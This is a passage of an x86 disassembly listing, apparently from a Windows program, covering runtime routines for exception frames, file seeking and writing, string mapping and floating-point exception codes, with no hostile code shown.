lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_422BFF
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_424F80
pop ecx
pop ecx
test eax, eax
jz loc_422D02
push 1
push edi
call sub_424F9C
pop ecx
pop ecx
test eax, eax
jz loc_422D02
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_422BF0: ; CODE XREF: sub_422B62+F5j
push eax
call sub_422D8D
pop ecx
pop ecx
mov [edi], eax
jmp loc_422D07
; ---------------------------------------------------------------------------
loc_422BFF: ; CODE XREF: sub_422B62+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_422C59
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_424F80
pop ecx
pop ecx
test eax, eax
jz loc_422D02
push 1
push edi
call sub_424F9C
pop ecx
pop ecx
test eax, eax
jz loc_422D02
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_41D670
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_422D07
mov eax, [edi]
test eax, eax
jz loc_422D07
add esi, 8
push esi
jmp short loc_422BF0
; ---------------------------------------------------------------------------
loc_422C59: ; CODE XREF: sub_422B62+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_422CA1
call sub_424F80
pop ecx
pop ecx
test eax, eax
jz loc_422D02
push 1
push edi
call sub_424F9C
pop ecx
pop ecx
test eax, eax
jz short loc_422D02
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_422D8D
pop ecx
pop ecx
push eax
push edi
call sub_41D670
add esp, 0Ch
jmp short loc_422D07
; ---------------------------------------------------------------------------
loc_422CA1: ; CODE XREF: sub_422B62+103j
call sub_424F80
pop ecx
pop ecx
test eax, eax
jz short loc_422D02
push 1
push edi
call sub_424F9C
pop ecx
pop ecx
test eax, eax
jz short loc_422D02
push dword ptr [esi+18h]
call sub_424FB8
pop ecx
test eax, eax
jz short loc_422D02
test byte ptr [esi], 4
jz short loc_422CE8
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_422D8D
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41D2A5
jmp short loc_422D07
; ---------------------------------------------------------------------------
loc_422CE8: ; CODE XREF: sub_422B62+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_422D8D
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41D29E
jmp short loc_422D07
; ---------------------------------------------------------------------------
loc_422D02: ; CODE XREF: sub_422B62+6Aj
; sub_422B62+7Cj ...
call sub_422E52
loc_422D07: ; CODE XREF: sub_422B62+98j
; sub_422B62+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_422D0B: ; CODE XREF: sub_422B62+2Ej
; sub_422B62+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422B62 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_422DFC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422D26 proc near ; CODE XREF: sub_422651+170p
; sub_422AF2+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278E0
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_422D6D
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_422D6D
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_41D29E
or [ebp+var_4], 0FFFFFFFFh
loc_422D6D: ; CODE XREF: sub_422D26+2Aj
; sub_422D26+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422D26 endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_422DFC
; =============== S U B R O U T I N E =======================================
sub_422D8D proc near ; CODE XREF: sub_422B62+8Fp
; sub_422B62+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_422DAE
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_422DAE: ; CODE XREF: sub_422D8D+12j
pop esi
retn
sub_422D8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422DB0 proc near ; CODE XREF: sub_41D331+40p
; sub_4228FD+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41D61D
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_422DEF
mov ecx, 2
loc_422DEF: ; CODE XREF: sub_422DB0+38j
push ecx
call sub_41D61D
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_422DB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422DFC proc near ; CODE XREF: sub_422651:loc_4227F3j
; sub_42299B:loc_4229ACj ...
var_28 = dword ptr -28h
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278F0
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_4DBE74
test eax, eax
jz short loc_422E44
mov [ebp+var_4], 1
call eax
jmp short loc_422E40
; ---------------------------------------------------------------------------
loc_422E39: ; DATA XREF: ___:00427900o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422E3D: ; DATA XREF: ___:00427904o
mov esp, [ebp+var_18]
loc_422E40: ; CODE XREF: sub_422DFC+3Bj
and [ebp+var_4], 0
loc_422E44: ; CODE XREF: sub_422DFC+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422E4D: ; DATA XREF: ___:004278F8o
jmp loc_424FD0
sub_422DFC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422E52 proc near ; CODE XREF: sub_41D4D3+23p
; sub_41D4D3:loc_41D53Ep ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427908
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_43D444
test eax, eax
jz short loc_422E9A
mov [ebp+var_4], 1
call eax ; sub_422DFC
jmp short loc_422E96
; ---------------------------------------------------------------------------
loc_422E8F: ; DATA XREF: ___:00427918o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422E93: ; DATA XREF: ___:0042791Co
mov esp, [ebp+var_18]
loc_422E96: ; CODE XREF: sub_422E52+3Bj
and [ebp+var_4], 0
loc_422E9A: ; CODE XREF: sub_422E52+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422EA3: ; DATA XREF: ___:00427910o
jmp sub_422DFC
sub_422E52 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422EA8 proc near ; CODE XREF: sub_41D9B3+7p
; sub_41D9B3+26p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4DD388
push esi
cmp eax, 3
jnz short loc_422ED1
mov esi, [ebp+arg_0]
push esi
call sub_41E717
test eax, eax
pop ecx
jz short loc_422ECE
mov eax, [esi-4]
sub eax, 9
jmp short loc_422F06
; ---------------------------------------------------------------------------
loc_422ECE: ; CODE XREF: sub_422EA8+1Cj
push esi
jmp short loc_422EF8
; ---------------------------------------------------------------------------
loc_422ED1: ; CODE XREF: sub_422EA8+Ej
cmp eax, 2
jnz short loc_422EF5
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_41F472
add esp, 0Ch
test eax, eax
jz short loc_422EF5
movzx eax, byte ptr [eax]
shl eax, 4
jmp short loc_422F06
; ---------------------------------------------------------------------------
loc_422EF5: ; CODE XREF: sub_422EA8+2Cj
; sub_422EA8+43j
push [ebp+arg_0]
loc_422EF8: ; CODE XREF: sub_422EA8+27j
push 0
push dword_4DD384
call near ptr 2680000h
nop
loc_422F06: ; CODE XREF: sub_422EA8+24j
; sub_422EA8+4Bj
pop esi
leave
retn
sub_422EA8 endp
; =============== S U B R O U T I N E =======================================
sub_422F09 proc near ; CODE XREF: ___:0041DAF2p
; sub_41F9BC+1A2p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_4DD140
push esi
push edi
jnb short loc_422F8B
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DD040h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_422F8B
push eax
call sub_4240AA
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_422F4D
mov dword_4DBDDC, 9
jmp short loc_422F9C
; ---------------------------------------------------------------------------
loc_422F4D: ; CODE XREF: sub_422F09+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
nop
call near ptr 27C0000h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_422F6D
nop
call near ptr 26C0CC8h
jmp short loc_422F6F
; ---------------------------------------------------------------------------
loc_422F6D: ; CODE XREF: sub_422F09+5Aj
xor eax, eax
loc_422F6F: ; CODE XREF: sub_422F09+62j
test eax, eax
jz short loc_422F7C
push eax
call sub_420C7F
pop ecx
jmp short loc_422F9C
; ---------------------------------------------------------------------------
loc_422F7C: ; CODE XREF: sub_422F09+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_422F9F
; ---------------------------------------------------------------------------
loc_422F8B: ; CODE XREF: sub_422F09+Dj
; sub_422F09+2Aj
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
loc_422F9C: ; CODE XREF: sub_422F09+42j
; sub_422F09+71j
or eax, 0FFFFFFFFh
loc_422F9F: ; CODE XREF: sub_422F09+80j
pop edi
pop esi
pop ebx
retn
sub_422F09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422FA3 proc near ; CODE XREF: ___:0041DAB5p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_422FBF
mov [edi+4], ebx
loc_422FBF: ; CODE XREF: sub_422FA3+17j
push 1
push ebx
push esi
call sub_422F09
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_42302D
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_422FE4
sub eax, [edi+4]
jmp loc_4230F6
; ---------------------------------------------------------------------------
loc_422FE4: ; CODE XREF: sub_422FA3+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_42301E
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_4DD040[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_423035
mov edx, ecx
loc_42300F: ; CODE XREF: sub_422FA3+79j
cmp edx, eax
jnb short loc_423035
cmp byte ptr [edx], 0Ah
jnz short loc_42301B
inc [ebp+var_8]
loc_42301B: ; CODE XREF: sub_422FA3+73j
inc edx
jmp short loc_42300F
; ---------------------------------------------------------------------------
loc_42301E: ; CODE XREF: sub_422FA3+50j
test dl, 80h
jnz short loc_423035
mov dword_4DBDDC, 16h
loc_42302D: ; CODE XREF: sub_422FA3+2Dj
or eax, 0FFFFFFFFh
jmp loc_4230F6
; ---------------------------------------------------------------------------
loc_423035: ; CODE XREF: sub_422FA3+68j
; sub_422FA3+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_423043
mov eax, [ebp+var_8]
jmp loc_4230F6
; ---------------------------------------------------------------------------
loc_423043: ; CODE XREF: sub_422FA3+96j
test byte ptr [edi+0Ch], 1
jz loc_4230EE
mov edx, [edi+4]
test edx, edx
jnz short loc_42305C
and [ebp+var_8], edx
jmp loc_4230EE
; ---------------------------------------------------------------------------
loc_42305C: ; CODE XREF: sub_422FA3+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DD040h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_4230E8
push 2
push 0
push [ebp+var_C]
call sub_422F09
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_4230AF
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_42309A: ; CODE XREF: sub_422FA3+104j
cmp eax, ecx
jnb short loc_4230A9
cmp byte ptr [eax], 0Ah
jnz short loc_4230A6
inc [ebp+arg_0]
loc_4230A6: ; CODE XREF: sub_422FA3+FEj
inc eax
jmp short loc_42309A
; ---------------------------------------------------------------------------
loc_4230A9: ; CODE XREF: sub_422FA3+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_4230E3
; ---------------------------------------------------------------------------
loc_4230AF: ; CODE XREF: sub_422FA3+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_422F09
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_4230D6
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_4230D6
test ch, 4
jz short loc_4230D9
loc_4230D6: ; CODE XREF: sub_422FA3+124j
; sub_422FA3+12Cj
mov eax, [edi+18h]
loc_4230D9: ; CODE XREF: sub_422FA3+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_4230E3: ; CODE XREF: sub_422FA3+10Aj
jz short loc_4230E8
inc [ebp+arg_0]
loc_4230E8: ; CODE XREF: sub_422FA3+D9j
; sub_422FA3:loc_4230E3j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_4230EE: ; CODE XREF: sub_422FA3+A4j
; sub_422FA3+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_4230F6: ; CODE XREF: sub_422FA3+3Cj
; sub_422FA3+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_422FA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4230FB proc near ; CODE XREF: sub_41DB54+A2p
; sub_41E42B+2Cp ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_4DD140
push esi
push edi
jnb loc_42328F
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DD040h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_42328F
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_42314C
loc_423145: ; CODE XREF: sub_4230FB+177j
xor eax, eax
jmp loc_4232A3
; ---------------------------------------------------------------------------
loc_42314C: ; CODE XREF: sub_4230FB+48j
test al, 20h
jz short loc_42315C
push 2
push edi
push ecx
call sub_422F09
add esp, 0Ch
loc_42315C: ; CODE XREF: sub_4230FB+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_42322B
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_423263
loc_42317C: ; CODE XREF: sub_4230FB+F5j
lea eax, [ebp+var_414]
loc_423182: ; CODE XREF: sub_4230FB+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_4231B6
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_4231A1
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_4231A1: ; CODE XREF: sub_4230FB+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_423182
loc_4231B6: ; CODE XREF: sub_4230FB+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
nop
call near ptr 273186Ah
test eax, eax
jz short loc_423220
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_4231F2
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_42317C
loc_4231F2: ; CODE XREF: sub_4230FB+EAj
; sub_4230FB+12Ej
xor edi, edi
loc_4231F4: ; CODE XREF: sub_4230FB+150j
; sub_4230FB+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_42328A
cmp [ebp+arg_0], edi
jz short loc_423263
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_423258
mov dword_4DBDDC, 9
mov dword_4DBDE0, eax
jmp loc_4232A0
; ---------------------------------------------------------------------------
loc_423220: ; CODE XREF: sub_4230FB+E0j
nop
call near ptr 26C0CC8h
mov [ebp+arg_0], eax
jmp short loc_4231F2
; ---------------------------------------------------------------------------
loc_42322B: ; CODE XREF: sub_4230FB+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
nop
call near ptr 273186Ah
test eax, eax
jz short loc_42324D
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_4231F4
; ---------------------------------------------------------------------------
loc_42324D: ; CODE XREF: sub_4230FB+145j
call near ptr 26C0CC8h
nop
mov [ebp+arg_0], eax
jmp short loc_4231F4
; ---------------------------------------------------------------------------
loc_423258: ; CODE XREF: sub_4230FB+10Fj
push [ebp+arg_0]
call sub_420C7F
pop ecx
jmp short loc_4232A0
; ---------------------------------------------------------------------------
loc_423263: ; CODE XREF: sub_4230FB+7Bj
; sub_4230FB+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_423278
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_423145
loc_423278: ; CODE XREF: sub_4230FB+16Fj
mov dword_4DBDDC, 1Ch
mov dword_4DBDE0, edi
jmp short loc_4232A0
; ---------------------------------------------------------------------------
loc_42328A: ; CODE XREF: sub_4230FB+FEj
sub eax, [ebp+var_10]
jmp short loc_4232A3
; ---------------------------------------------------------------------------
loc_42328F: ; CODE XREF: sub_4230FB+15j
; sub_4230FB+37j
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
loc_4232A0: ; CODE XREF: sub_4230FB+120j
; sub_4230FB+166j ...
or eax, 0FFFFFFFFh
loc_4232A3: ; CODE XREF: sub_4230FB+4Cj
; sub_4230FB+192j
pop edi
pop esi
pop ebx
leave
retn
sub_4230FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4232A8 proc near ; CODE XREF: sub_41DE4A+47p
; sub_41DE4A+74p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427928
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_4DBE78, edi
jnz short loc_42331E
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_427920
mov esi, 100h
push esi
push edi
nop
call near ptr 2660000h
test eax, eax
jz short loc_4232FC
mov dword_4DBE78, ebx
jmp short loc_42331E
; ---------------------------------------------------------------------------
loc_4232FC: ; CODE XREF: sub_4232A8+4Aj
push edi
push edi
push ebx
push offset word_4CB88C
push esi
push edi
nop
call near ptr 2670000h
test eax, eax
jz loc_423436
mov dword_4DBE78, 2
loc_42331E: ; CODE XREF: sub_4232A8+2Ej
; sub_4232A8+52j
cmp [ebp+arg_C], edi
jle short loc_423333
push [ebp+arg_C]
push [ebp+arg_8]
call sub_4234CC
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_423333: ; CODE XREF: sub_4232A8+79j
mov eax, dword_4DBE78
cmp eax, 2
jnz short loc_42335A
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 2670000h
nop
jmp loc_423438
; ---------------------------------------------------------------------------
loc_42335A: ; CODE XREF: sub_4232A8+93j
cmp eax, 1
jnz loc_423436
cmp [ebp+arg_18], edi
jnz short loc_423370
mov eax, dword_4DBE94
mov [ebp+arg_18], eax
loc_423370: ; CODE XREF: sub_4232A8+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
nop
call near ptr 2730000h
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_423436
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4233CB
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_4233CB: ; CODE XREF: sub_4232A8+10Ej
cmp [ebp+var_24], edi
jz short loc_423436
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
nop
call near ptr 2730000h
test eax, eax
jz short loc_423436
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2660000h
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_423436
test byte ptr [ebp+arg_4+1], 4
jz short loc_42344A
cmp [ebp+arg_14], edi
jz loc_4234C5
cmp esi, [ebp+arg_14]
jg short loc_423436
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2660000h
test eax, eax
jnz loc_4234C5
loc_423436: ; CODE XREF: sub_4232A8+66j
; sub_4232A8+B5j ...
xor eax, eax
loc_423438: ; CODE XREF: sub_4232A8+ADj
; sub_4232A8+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_42344A: ; CODE XREF: sub_4232A8+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42347E
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_42347E: ; CODE XREF: sub_4232A8+1C2j
cmp ebx, edi
jz short loc_423436
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2660000h
test eax, eax
jz short loc_423436
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_4234A5
push edi
push edi
jmp short loc_4234AB
; ---------------------------------------------------------------------------
loc_4234A5: ; CODE XREF: sub_4232A8+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_4234AB: ; CODE XREF: sub_4232A8+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
call near ptr 28611BCh
nop
mov esi, eax
cmp esi, edi
jz loc_423436
loc_4234C5: ; CODE XREF: sub_4232A8+165j
; sub_4232A8+188j
mov eax, esi
jmp loc_423438
sub_4232A8 endp
; =============== S U B R O U T I N E =======================================
sub_4234CC proc near ; CODE XREF: sub_4232A8+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_4234E9
loc_4234DC: ; CODE XREF: sub_4234CC+1Bj
cmp byte ptr [eax], 0
jz short loc_4234E9
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_4234DC
loc_4234E9: ; CODE XREF: sub_4234CC+Ej
; sub_4234CC+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_4234F4
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_4234F4: ; CODE XREF: sub_4234CC+21j
mov eax, edx
retn
sub_4234CC endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push dword ptr [ebp+8]
call sub_423638
test eax, eax
pop ecx
jz loc_42362C
mov ebx, [eax+8]
test ebx, ebx
jz loc_42362C
cmp ebx, 5
jnz short loc_423528
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_423635
; ---------------------------------------------------------------------------
loc_423528: ; CODE XREF: ___:0042351Aj
cmp ebx, 1
jz loc_423627
mov ecx, dword_4DBE9C
mov [ebp+8], ecx
mov ecx, [ebp+0Ch]
mov dword_4DBE9C, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_423617
mov ecx, dword_43D4C0
mov edx, dword_43D4C4
add edx, ecx
push esi
cmp ecx, edx
jge short loc_423577
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:43D450h[esi*4]
loc_42356E: ; CODE XREF: ___:00423575j
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_42356E
loc_423577: ; CODE XREF: ___:00423560j
mov eax, [eax]
mov esi, dword_43D4CC
cmp eax, 0C000008Eh
jnz short loc_423592
mov dword_43D4CC, 83h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_423592: ; CODE XREF: ___:00423584j
cmp eax, 0C0000090h
jnz short loc_4235A5
mov dword_43D4CC, 81h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235A5: ; CODE XREF: ___:00423597j
cmp eax, 0C0000091h
jnz short loc_4235B8
mov dword_43D4CC, 84h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235B8: ; CODE XREF: ___:004235AAj
cmp eax, 0C0000093h
jnz short loc_4235CB
mov dword_43D4CC, 85h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235CB: ; CODE XREF: ___:004235BDj
cmp eax, 0C000008Dh
jnz short loc_4235DE
mov dword_43D4CC, 82h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235DE: ; CODE XREF: ___:004235D0j
cmp eax, 0C000008Fh
jnz short loc_4235F1
mov dword_43D4CC, 86h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235F1: ; CODE XREF: ___:004235E3j
cmp eax, 0C0000092h
jnz short loc_423602
mov dword_43D4CC, 8Ah
loc_423602: ; CODE XREF: ___:00423590j
; ___:004235A3j ...
push dword_43D4CC
push 8
call ebx
pop ecx
mov dword_43D4CC, esi
pop ecx
pop esi
jmp short loc_42361F
; ---------------------------------------------------------------------------
loc_423617: ; CODE XREF: ___:00423549j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_42361F: ; CODE XREF: ___:00423615j
mov eax, [ebp+8]
mov dword_4DBE9C, eax
loc_423627: ; CODE XREF: ___:0042352Bj
or eax, 0FFFFFFFFh
jmp short loc_423635
